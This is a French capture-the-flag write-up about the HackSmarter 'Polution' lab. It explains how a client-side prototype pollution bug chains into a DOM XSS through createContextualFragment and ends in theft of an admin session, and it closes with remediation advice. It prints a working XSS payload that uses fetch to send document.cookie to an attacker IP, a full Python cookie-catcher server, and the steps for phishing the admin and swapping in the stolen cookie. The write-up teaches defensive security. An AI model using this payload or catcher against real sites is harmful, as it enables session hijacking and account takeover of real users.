Lab Polution : Prototype Pollution & Account Takeover
Exploitation d'une Client-Side Prototype Pollution dans une app Node.js/Express menant à une DOM-based XSS via createContextualFragment, utilisée pour voler les cookies de session d'un administrateur et prendre le contrôle de son compte.
Contexte & Objectifs
| Champ | Détail |
|---|---|
| Plateforme | HackSmarter |
| Lien | Accéder au Lab |
| Cible | 10.0.24.97 |
| OS | Ubuntu Linux |
| Services | SSH (22), Node.js/Express (3000) |
| Vuln. clé | Client-Side Prototype Pollution + DOM XSS |
| Difficulté | Facile |
Scénario : En tant que membre de la Red Team Hack Smarter, vous avez accès à une version de staging d'un service SOC managé avant sa mise en production. Des identifiants à faibles privilèges vous sont fournis. L'objectif : élever vos privilèges pour devenir Administrateur.
pentester : HackSmarter123
[!NOTE] Le nom du lab s'écrit volontairement "Polution" (un seul
l). C'est un clin d'œil intentionnel de l'auteur -"Let's just pretend like it is". En sécurité, les typos dans les noms de variables ou de fonctions peuvent parfois trahir du code écrit à la va-vite… et donc potentiellement mal sécurisé.
Kill chain résumée :
Recon (Nmap) → Login avec credentials fournis → Inspection JS
→ Identification Prototype Pollution + DOM XSS
→ Forge du payload → Serveur d'écoute → Envoi mail piégé
→ Vol de session admin → Cookie swap → Flag
1. Reconnaissance -Scan Nmap
sudo nmap --top-ports 100 -sC -sV -Pn 10.0.24.97
Output :
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 19:01 +0200
Nmap scan report for 10.0.24.97
Host is up (0.18s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 6c:86:78:31:11:45:2b:47:1f:48:25:18:c0:46:d3:1c (ECDSA)
|_ 256 71:ec:e4:0b:0e:79:1d:04:66:94:b1:92:98:8a:1c:51 (ED25519)
3000/tcp open http Node.js Express framework
|_http-title: Hacksmarter | Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Analyse :
Deux ports ouverts. SSH sans credentials n'est pas notre vecteur. L'intérêt est sur le port 3000 : une app Node.js Express avec une interface de login. C'est une stack JavaScript côté serveur -ce qui oriente immédiatement notre réflexion vers des vulnérabilités JS comme la Prototype Pollution.
On navigue sur http://10.0.24.97:3000 et on se connecte avec les credentials fournis.



L'interface présente deux fonctionnalités : un journal d'audit et un webmail. On note la présence du webmail -c'est un vecteur potentiel pour atteindre l'administrateur.
2. Énumération Web
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://10.0.24.97:3000

Aucun répertoire caché significatif. L'attaque ne passera pas par un endpoint non documenté -elle passera par le code client. On passe à l'inspection du JavaScript de la page.
3. Analyse du Code Source JavaScript
Via les DevTools du navigateur (F12 → Sources), on extrait le script principal de l'application.

/**
* GESTION DE L'INTERFACE (TABS)
*/
function showTab(tab) {
document.getElementById("tab-audit").classList.add("hidden");
document.getElementById("tab-mail").classList.add("hidden");
document.getElementById("tab-" + tab).classList.remove("hidden");
document.getElementById("tab-title").innerText =
tab === "audit" ? "Audit Log Management" : "Webmail";
}
/**
* SYNCHRONISATION DE L'ÉTAT (PARSING URL HASH) ← VULNÉRABLE
*/
function syncState(params, target) {
params.split("&").forEach((pair) => {
const index = pair.indexOf("=");
if (index === -1) return;
const key = pair.substring(0, index);
const value = pair.substring(index + 1);
const path = key.split(".");
let current = target;
for (let i = 0; i < path.length; i++) {
const part = decodeURIComponent(path[i]);
if (i === path.length - 1) {
current[part] = decodeURIComponent(value); // ← écriture sans validation
} else {
current[part] = current[part] || {};
current = current[part];
}
}
});
}
/**
* MOTEUR DE RECHERCHE ET RENDU ← SINK XSS
*/
function executeSearch() {
const results = document.getElementById("results");
let options = { prefix: "Searching: " };
if (window.location.hash) {
syncState(window.location.hash.substring(1), options); // ← source des données
}
if (options.renderCallback) {
// ← héritage de prototype exploité ici
const frag = document
.createRange()
.createContextualFragment(options.renderCallback);
results.innerHTML = "";
results.appendChild(frag); // ← exécution du HTML injecté
} else {
const query = document.getElementById("searchInput").value || "All Logs";
results.innerText = options.prefix + query;
}
}
/**
* ENVOI DE MAIL (API)
*/
async function sendMail() {
const payload = {
to: document.getElementById("mailTo").value,
subject: document.getElementById("mailSub").value,
body: document.getElementById("mailBody").value,
};
const res = await fetch("/api/mail/send", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(payload),
});
const data = await res.json();
document.getElementById("mailStatus").innerText =
data.status === "Sent" ? "Message delivered to admin." : "Error sending.";
}
/**
* INITIALISATION
*/
window.onload = () => {
const userCookie = document.cookie
.split("; ")
.find((row) => row.startsWith("user="));
const user = userCookie ? userCookie.split("=")[1] : "Guest";
document.getElementById("current-user").innerText = user;
executeSearch();
};
window.onhashchange = executeSearch;
4. Analyse des Vulnérabilités
Ce code contient un chaînage de deux vulnérabilités qui, combinées, permettent une prise de contrôle de compte complète.
4.1 Vulnérabilité 1 -Client-Side Prototype Pollution
Comprendre la chaîne de prototypes JavaScript
En JavaScript, chaque objet hérite de Object.prototype. C'est le mécanisme qui permet à un objet {} d'avoir des méthodes comme .toString() sans les définir lui-même -il les hérite via la chaîne de prototypes.
const obj = {};
console.log(obj.toString); // function -hérité de Object.prototype
Si on écrit sur Object.prototype, tous les objets créés dans la page héritent immédiatement de cette modification :
Object.prototype.renderCallback = "<img src=x onerror=alert(1)>";
const options = {};
console.log(options.renderCallback); // "<img src=x onerror=alert(1)>"
// options n'a pas renderCallback, mais il l'hérite de Object.prototype
Pourquoi syncState est vulnérable
La fonction syncState prend une chaîne de l'URL (le hash #) et l'écrit sur un objet target en suivant un chemin de clés séparées par des points. Le problème : elle n'interdit pas la clé __proto__.
__proto__ est une propriété spéciale de tous les objets JS -c'est le lien direct vers leur prototype. Écrire sur obj.__proto__.maClef est équivalent à écrire sur Object.prototype.maClef.
// Ce que fait syncState avec le hash : __proto__.renderCallback=<img...>
// path = ["__proto__", "renderCallback"]
let current = target; // current = options = {}
current = current["__proto__"]; // current = Object.prototype ← pollution
current["renderCallback"] = "<img src=x onerror=...>"; // ← écrit sur TOUS les objets
Après cet appel, tout objet vide dans la page aura renderCallback comme propriété héritée.
4.2 Vulnérabilité 2 -DOM-based XSS via createContextualFragment
Dans executeSearch, après l'appel à syncState, le code vérifie :
if (options.renderCallback) { ... }
options est un objet vide {}. Il n'a pas de propriété renderCallback propre -mais il l'hérite maintenant de Object.prototype grâce à la pollution. La condition est vraie.
Le contenu de renderCallback est ensuite passé à createContextualFragment :
const frag = document
.createRange()
.createContextualFragment(options.renderCallback);
results.appendChild(frag);
[!WARNING]
createContextualFragmentest plus dangereux queinnerHTML. Il parse et exécute le HTML injecté comme s'il venait du document lui-même -y compris les gestionnaires d'événements (onerror,onload) et les éléments<script>inline. C'est le sink de notre XSS.
4.3 Le chaînage complet
URL Hash malveillant
│
▼
syncState(__proto__.renderCallback = "<img onerror=fetch(...)>")
│ écrit sur Object.prototype
▼
options = {} → options.renderCallback hérite de Object.prototype
│
▼
createContextualFragment(options.renderCallback)
│ parse et exécute le HTML
▼
fetch('http://attaquant/?c=' + document.cookie)
│ envoie les cookies à notre serveur
▼
Account Takeover
5. Exploitation
5.1 Construction du Payload
Le payload doit être placé dans le fragment URL (#) de la page. La structure est :
#__proto__.renderCallback=<PAYLOAD_HTML>
Le payload HTML doit exfiltrer les cookies vers notre machine (10.200.51.237) :
<img src="x" onerror="fetch('http://10.200.51.237:8000/?c='+document.cookie)" />
URL complète forgée :
http://10.0.24.97:3000/#__proto__.renderCallback=<img src=x onerror="fetch('http://10.200.51.237:8000/?c='+document.cookie)">
Test préalable sur soi-même : avant d'envoyer le lien à l'admin, on ouvre soi-même l'URL dans le navigateur pour vérifier que le payload fonctionne. Notre propre cookie user=pentester doit apparaître sur notre serveur d'écoute.
5.2 Serveur d'écoute Python (Cookie Catcher)
On prépare un serveur HTTP minimal qui capture les requêtes entrantes et enregistre les cookies exfiltrés :
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import base64
from datetime import datetime
class CookieHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_url = urlparse(self.path)
query_params = parse_qs(parsed_url.query)
captured_data = None
for param_name in ["c", "data", "cookies"]:
if param_name in query_params:
captured_data = query_params[param_name][0]
break
if captured_data:
# Tentative de décodage Base64 (si le payload encode les cookies)
try:
captured_data = base64.b64decode(captured_data).decode("utf-8")
except Exception:
pass # données brutes si décodage échoue
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
client_ip = self.client_address[0]
log_entry = f"[{timestamp}] IP: {client_ip} | Data: {captured_data}\n"
with open("victims.txt", "a", encoding="utf-8") as f:
f.write(log_entry)
print(f"[+] Cookie capturé : {log_entry.strip()}")
else:
print(f"[-] Requête sans données : {self.path}")
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"OK")
def log_message(self, format, *args):
pass # Supprime les logs Apache-style pour garder une sortie propre
if __name__ == "__main__":
PORT = 8000
server = HTTPServer(("0.0.0.0", PORT), CookieHandler)
print(f"[*] Cookie catcher démarré sur le port {PORT}")
print(f"[*] En attente de requêtes XSS...")
server.serve_forever()
On lance le serveur :
python3 cookie_catcher.py
# [*] Cookie catcher démarré sur le port 8000
# [*] En attente de requêtes XSS...
5.3 Envoi du Mail Piégé à l'Administrateur
Via l'onglet Webmail de l'application, on envoie un message à l'administrateur contenant notre lien malveillant. L'admin (bot ou humain dans ce lab) va ouvrir le lien dans son navigateur authentifié.

5.4 Récupération des Cookies
Notre serveur reçoit deux connexions :
cat victims.txt
[2026-05-01 23:25:37] IP: 10.200.51.237 | Data: user=pentester
[2026-05-01 23:27:05] IP: 10.0.24.97 | Data: session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; user=admin
Analyse :
- La première ligne, c'est nous -le test préalable du payload sur notre propre navigateur.
- La deuxième ligne vient de
10.0.24.97(le serveur cible) -c'est le bot administrateur qui a ouvert notre lien. On a son token de session :HS_ADMIN_7721_SECURE_AUTH_TOKEN.
6. Élévation de Privilèges -Cookie Swap
On remplace nos propres cookies par ceux de l'administrateur via les DevTools :
F12→ onglet Application (Chrome) ou Stockage (Firefox)- Section Cookies →
http://10.0.24.97:3000 - Modifier la valeur de
session→HS_ADMIN_7721_SECURE_AUTH_TOKEN - Modifier la valeur de
user→admin - Rafraîchir la page (
F5)

Le serveur valide notre session et nous affiche le dashboard administrateur.

7. Flag
En naviguant dans l'onglet Incident Response, on trouve le flag de validation du lab.

8. Conclusion & Remédiation
Chaîne d'attaque complète
1. Nmap → Node.js/Express sur port 3000
2. Login → Accès pentester, découverte du webmail
3. Inspection JS → syncState + createContextualFragment identifiés
4. Prototype Poll. → __proto__.renderCallback pollue Object.prototype
5. DOM XSS → createContextualFragment exécute le HTML injecté
6. Cookie catcher → fetch() exfiltre les cookies admin
7. Webmail → Lien malveillant envoyé à l'admin
8. Cookie swap → Session admin usurpée
9. Flag → Onglet Incident Response
Vecteurs vulnérables & Remédiations
| Vecteur | Problème | Remédiation |
|---|---|---|
syncState | Aucune vérification des clés -__proto__ accepté | Bloquer les clés dangereuses : if (part === '__proto__' || part === 'constructor') return; |
createContextualFragment | Sink XSS -exécute le HTML comme du code | Remplacer par innerText ou textContent ; ne jamais insérer du HTML non sanitisé dans le DOM |
Cookies sans flag HttpOnly | Accessibles via document.cookie | Ajouter HttpOnly sur tous les cookies de session -un cookie HttpOnly ne peut pas être lu par JS |
Cookies sans flag Secure | Transmissibles en HTTP | Ajouter Secure pour forcer HTTPS |
| Pas de CSP | Aucune politique bloquant les requêtes vers des domaines externes | Implémenter un Content-Security-Policy restrictif (connect-src 'self') |
| Webmail sans validation d'URL | L'admin peut recevoir n'importe quel lien | Avertir l'utilisateur avant d'ouvrir des URLs externes |
[!NOTE] La leçon clé de ce lab : la Prototype Pollution seule n'est souvent pas exploitable directement. C'est sa combinaison avec un sink DOM non sécurisé (
createContextualFragment,eval,innerHTML) qui crée un vecteur d'attaque réel. Les deux vulnérabilités se potentialisent mutuellement.
Writeup rédigé par ZCook
